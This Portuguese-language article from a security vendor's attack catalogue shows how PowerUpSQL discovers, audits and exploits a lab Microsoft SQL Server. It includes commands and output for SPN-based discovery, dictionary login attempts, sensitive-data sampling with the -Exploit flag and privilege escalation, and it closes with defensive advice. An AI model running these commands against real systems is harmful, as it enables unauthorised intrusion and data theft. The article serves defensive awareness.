Magic Quadrant™ para gerenciamento de acesso privilegiado 2025: Netwrix reconhecida pelo quarto ano consecutivo. Baixe o relatório.

Plataforma
Glossário de cibersegurançaCatálogo de ataques
Comprometendo o SQL Server com PowerUpSQL

Comprometendo o SQL Server com PowerUpSQL

Se você está procurando um kit de ferramentas para dominar o Microsoft SQL Server de ponta a ponta, o que você precisa é PowerUpSQL. Implementado em PowerShell e tão completo quanto possível, PowerUpSQL possui ferramentas para descobrir, comprometer e dominar praticamente qualquer sistema SQL. É toda a cadeia de ataque em uma única ferramenta. Este artigo detalha como realizar os passos críticos do ataque usando PowerUpSQL.

Conteúdo relacionado selecionado:

Observe que tivemos resultados muito variados com o sistema que estávamos usando, uma versão muito básica do MS SQL 2012. Certamente destacaremos onde nossos resultados variaram com e sem direitos de administrador do sistema. Se precisar de dicas sobre como obter direitos de administrador em nível de sistema, consulte nosso catálogo de técnicas para atacar a infraestrutura central do AD e nossas publicações sobre ataque a contas de serviço do ADataques que exploram permissões mal configuradas e nossa série sobre ataques com Mimikatz.

Descoberta

      To find all the SQL servers in a domain, you can use the Get-SQLInstanceDomain cmdlet:

PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose

VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...

VERBOSE: Parsing SQL Server instances from SPNs...

VERBOSE: 2 instances were found.

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com,1433

DomainAccountSid : 150000052100028833955189196181169249219979400

DomainAccount : APP02$

DomainAccountCn : APP02

Service : MSSQLSvc

Spn : MSSQLSvc/APP02.sbcloudlab.com:1433

LastLogon : 1/9/2018 7:10 AM

Description :

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

DomainAccountSid : 150000052100028833955189196181169249219979400

DomainAccount : APP02$

DomainAccountCn : APP02

Service : MSSQLSvc

Spn : MSSQLSvc/APP02.sbcloudlab.com

LastLogon : 1/9/2018 7:10 AM
      

Descrição:

Também existe o Get-SQLInstanceLocal, que realizará o mesmo tipo de descoberta, mas apenas na instância local. A versão de domínio é mais barulhenta, mas se você tem apenas um local de onde atacar na rede, ela fará o que você precisa. Se você possui muito mais da rede e quer emitir menos sinais, executar a versão local em cada sistema funcionará. Neste caso, conseguimos obter resultados semelhantes quando éramos um usuário normal ou um Administrador de Domínio.

Seleção de Alvo

Uma vez que você tenha alguns sistemas MS SQL que deseja atacar — ou se você tem muitos e está tentando descobrir quais são os melhores alvos — você pode querer descobrir mais sobre cada um deles. Get?SQLServerInfo lhe dará um instantâneo de informações úteis sobre o seu alvo em potencial. Observe que parece que precisamos de direitos de administrador para obter bons resultados.

      PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo

ComputerName : APP02

Instance : APP02

DomainName : SBCLOUDLAB

ServiceProcessID : 4980

ServiceName : MSSQLSERVER

ServiceAccount : NT ServiceMSSQLSERVER

AuthenticationMode : Windows and SQL Server Authentication

Clustered : No

SQLServerVersionNumber : 11.0.2100.60

SQLServerMajorVersion : 2012

SQLServerEdition : Standard Edition (64-bit)

SQLServerServicePack : RTM

OSArchitecture : X64

OsMachineType : ServerNT

OSVersionName : Windows Server 2012 R2 Standard

OsVersionNumber : 6.2

Currentlogin : SBCLOUDLABjonathan

IsSysadmin : Yes

ActiveSessions : 1
      

Este exemplo destaca uma das melhores funcionalidades do PowerUpSQL: suporte para piping. Como você pode ver, encaminhamos os resultados de Get-SQLInstanceLocal para Get-SQLServerInfo, assim com um único comando, podemos obter resultados para todas as instâncias SQL na máquina. De forma mais ampla, você pode usar esse recurso para criar facilmente scripts de cracking que realizam operações complicadas rapidamente.

Encontrando Exploits e Dados Sensíveis

Usando o que aprendemos com Get-SQLServerInfo, poderíamos ir às bibliotecas padrão de ameaças e vulnerabilidades e pegar algo para explorar este sistema. Mas não há necessidade — PowerUpSQL tem outro truque poderoso na manga. O Invoke-SQLAudit cmdlet fará literalmente todo o trabalho de quebra para você. Ele verifica praticamente todas as maneiras padrão de invadir um banco de dados, encontrar informações sensíveis e exfiltrá-las em um formato que você possa levar consigo.

Quando você o invocar, primeiro verá um derramamento de resultados assim:

      PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"

VERBOSE: LOADING VULNERABILITY CHECKS.

VERBOSE: RUNNING VULNERABILITY CHECKS.

VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password

VERBOSE: APP02.sbcloudlab.com : No named instance found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com - Getting supplied login...

VERBOSE: APP02.sbcloudlab.com - Getting list of logins...

VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =

##MS_PolicyEventProcessingLogin##

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =

##MS_PolicyTsqlExecutionLogin##

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...

<snip>
      

Mas isso é apenas o Invoke-SQLAudit começando. Depois de realizar todas as verificações de nível de permissão, ele verifica vulnerabilidades específicas e conhecidas uma a uma e relata o que encontra para cada uma:

      ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Excessive Privilege - Database Ownership Chaining

Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can

lead to unauthorized access to database resources.

Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar

to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER

DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.

Severity : Low

IsVulnerable : Yes

IsExploitable : No

Exploited : No

ExploitCmd : There is not exploit available at this time.

Details : The database master was found configured with ownership chaining enabled.

Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l

ibrary/bb669059(v=vs.110).aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Excessive Privilege - Database Ownership Chaining

Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can

lead to unauthorized access to database resources.

Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar

to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER

DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.

Severity : Low

IsVulnerable : Yes

IsExploitable : No

Exploited : No

ExploitCmd : There is not exploit available at this time.

Details : The database tempdb was found configured with ownership chaining enabled.

Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l

ibrary/bb669059(v=vs.110).aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016
      

Ler os resultados deste cmdlet, independentemente de quão vulnerável seu alvo possa ter sido, é como uma aula avançada em explorações do SQL Server. Além disso, os autores deixaram o kit de ferramentas aberto para extensão conforme novas vulnerabilidades e explorações são descobertas. Então, devemos esperar que esta lista só aumente com o tempo.

E isso não é tudo. Uma vez que termina com as vulnerabilidades, tenta encontrar dados que você pode querer roubar:

      ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Potentially Sensitive Columns Found

Description : Columns were found in non default databases that may contain sensitive information.

Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.

Severity : Informational

IsVulnerable : Yes

IsExploitable : Yes

Exploited : Yes

ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit

Details : Data sample from [REDACTED] : "[REDACTED]".

Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Potentially Sensitive Columns Found

Description : Columns were found in non default databases that may contain sensitive information.

Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.

Severity : Informational

IsVulnerable : Yes

IsExploitable : Yes

Exploited : Yes

ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit

Details : Data sample from [REDACTED] : "[REDACTED]".

Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016
      

Estes resultados (ligeiramente redigidos por razões óbvias) foram apenas dois das muitas dezenas encontrados no nosso alvo. Os autores estão até a utilizar os próprios produtos enquanto fazem isso. Estes resultados foram encontrados usando o cmdlet “Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit”, conforme indicado nos resultados.

Escalada de Privilégios

Uma das decepções ao brincar com PowerUpSQL foi que o muito poderoso Invoke-SQLEscalatePriv nunca funcionou para nós. Tentamos diferentes usuários, hosts, tipos de execução (local e remota) e tipos de direitos, mas nunca conseguia escalar o usuário. O motivo parece ser os padrões no MS SQL 2012 Enterprise Edition. Aqui está o que vimos ao executar como um usuário não-administrador:

      PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s

bcloudlab.com"

PS C:PowerUpSQL-master>

When we run as admin, we get these correct but unexciting results:

PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"

VERBOSE: APP02.sbcloudlab.com : Checking if you're already a sysadmin...

VERBOSE: APP02.sbcloudlab.com : You are, so nothing to do here. :)

PS C:PowerUpSQL-master>
      

Lendo online, este cmdlet parece funcionar para muitos outros.

Outras Funcionalidades

É fácil imaginar o uso desta ferramenta para ter uma ideia do que atacar e depois focar. Construiríamos um script, aproveitando ao máximo o encadeamento para encontrar onde temos direitos máximos e, em seguida, avançar sobre os dados sensíveis em cada um desses locais.

Estamos sempre pensando em termos de exfiltração, mas talvez o seu objetivo seja a posse do sistema? O PowerUpSQL oferece caminhos para isso também, mas vamos ver como fazer isso no próximo post. De fato, há tanto no PowerUpSQL que poderíamos continuar por muito mais tempo. No entanto, os autores já fizeram um bom trabalho cobrindo a ferramenta deles então vamos parar por aqui.

Defendendo contra PowerUpSQL

Agora vamos ver o que você pode fazer para se defender contra PowerUpSQL. A má notícia para nossa diversão foi uma boa notícia para nossos dados: Muitas das coisas no PowerUpSQL pareciam precisar de direitos de administração, que são tratados pela postura de segurança padrão do SQL 2012 Enterprise Edition. No entanto, os direitos de administração são tão fáceis de violar na maioria das empresas atualmente que isso parece ser uma pequena barreira para o sucesso.

Ainda assim, existem algumas etapas comprovadas que você pode seguir para ajudar a proteger sua organização:

  • Aplique um modelo de menor privilégio para o SQL Server. Os administradores locais e de domínio realmente precisam ser administradores de banco de dados SQL e sysadmins também? Desenvolva uma política clara e escrita que detalhe por que e quando isso é necessário. Manter essas funções administrativas distintas evitará que um comprometimento leve ao comprometimento do outro.
  • Investigue o impacto na segurança de quaisquer alterações nas configurações do sistema SQL. Fornecedores de aplicativos frequentemente exigem mudanças nas configurações de segurança apenas para poupar alguns passos — e esses passos podem fazer a diferença entre segurança e comprometimento. Uma maneira de descobrir é executar um PowerUpSQL audit antes e depois de fazer tais mudanças em seus sistemas de teste e comparar os resultados.
  • Garanta que todas as senhas e dados sensíveis estejam mascarados, criptografados ou hashados. Se os mal-intencionados estão atrás de dados, essa é a melhor maneira de impedi-los de obtê-los. Os sistemas sempre poderão ser violados, mas uma criptografia decente é um muro de tijolos para todos, exceto para o inimigo mais sofisticado. Se esse tipo de adversário está atrás dos seus dados, então você tem preocupações de ordem superior.
  • Sempre que possível, evite configurações arriscadas como o encadeamento de propriedade de banco de dados. Assim como com mudanças nas configurações, recursos no nível do banco de dados como este são frequentemente usados apenas para economizar tempo dos desenvolvedores. Certifique-se de que haja pelo menos uma consideração dos riscos quando essas configurações estiverem sendo consideradas. Muitas vezes, a parte mais desafiadora é descobrir onde e quando essas conversas estão acontecendo e influenciá-las.
  • Certifique-se de que seus sistemas estejam atualizados seguindo um cronograma que os mantenha o mais atualizados possível. Este pode ser o conselho mais repetido em segurança, mas é verdadeiro. Muitas das vulnerabilidades testadas aqui teriam sido resolvidas com a aplicação adequada de patches. Os patches não resolvem todos os seus problemas de segurança, mas eles previnem aquela grande aflição no estômago quando as coisas vão mal e você sabe que pode ter sido (ou definitivamente foi) devido a um patch faltante.

Como a Netwrix pode ajudar

Bancos de dados frequentemente contêm informações extremamente sensíveis, o que os torna um alvo principal para atacantes. Para uma segurança robusta, os administradores de banco de dados precisam de visibilidade sobre toda a sua pegada SQL, tanto em datacenters locais quanto na nuvem. Netwrix StealthAUDIT revela automaticamente onde os bancos de dados SQL existem, quem tem acesso a eles, como esse acesso foi obtido, quem ou o que está aproveitando seus privilégios de acesso, onde residem as informações sensíveis e como cada banco de dados foi configurado.

Compartilhar em

Ver ataques de cibersegurança relacionados

Abuso de Permissões de Aplicativos Entra ID – Como Funciona e Estratégias de Defesa

Modificação do AdminSDHolder – Como Funciona e Estratégias de Defesa

Ataque AS-REP Roasting - Como Funciona e Estratégias de Defesa

Ataque Hafnium - Como Funciona e Estratégias de Defesa

Ataques DCSync Explicados: Ameaça à Segurança do Active Directory

Ataque Pass the Hash

Entendendo ataques Golden Ticket

Ataque a Contas de Serviço Gerenciadas por Grupo

Ataque DCShadow – Como Funciona, Exemplos Reais e Estratégias de Defesa

Injeção de Prompt do ChatGPT: Entendendo Riscos, Exemplos e Prevenção

Ataque de Extração de Senha NTDS.dit

Ataque de Kerberoasting – Como Funciona e Estratégias de Defesa

Ataque Pass-the-Ticket Explicado: Riscos, Exemplos e Estratégias de Defesa

Ataque de Password Spraying

Ataque de Extração de Senha em Texto Simples

Vulnerabilidade Zerologon Explicada: Riscos, Explorações e Mitigação

Ataques de ransomware ao Active Directory

Desbloqueando o Active Directory com o Ataque Skeleton Key

Movimento Lateral: O que é, Como Funciona e Prevenções

Ataques Man-in-the-Middle (MITM): O que São & Como Preveni-los

Ataque Silver Ticket

4 ataques a contas de serviço e como se proteger contra eles

Por que o PowerShell é tão popular entre os atacantes?

Como Prevenir que Ataques de Malware Afetem o Seu Negócio

O que é Credential Stuffing?

O que são ataques de Mousejacking e como se defender contra eles

Roubando Credenciais com um Provedor de Suporte de Segurança (SSP)

Bypassando MFA com o ataque Pass-the-Cookie

Ataque Golden SAML